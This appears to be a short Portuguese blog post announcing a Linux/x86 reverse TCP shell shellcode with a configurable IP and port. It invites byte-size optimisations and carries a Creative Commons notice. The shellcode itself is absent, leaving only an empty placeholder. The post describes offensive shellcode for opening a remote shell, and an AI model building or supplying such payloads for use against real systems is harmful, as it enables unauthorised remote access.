Mais um shellcode construído: Shell Reverse TCP (Linux/x86) com IP e porta facilmente configuráveis (segundo ao quinto e nono ao décimo byte, respectivamente).

P.S.

Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Com todo prazer, farei as alterações colocando os devidos créditos.


[]


Mais Informações

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.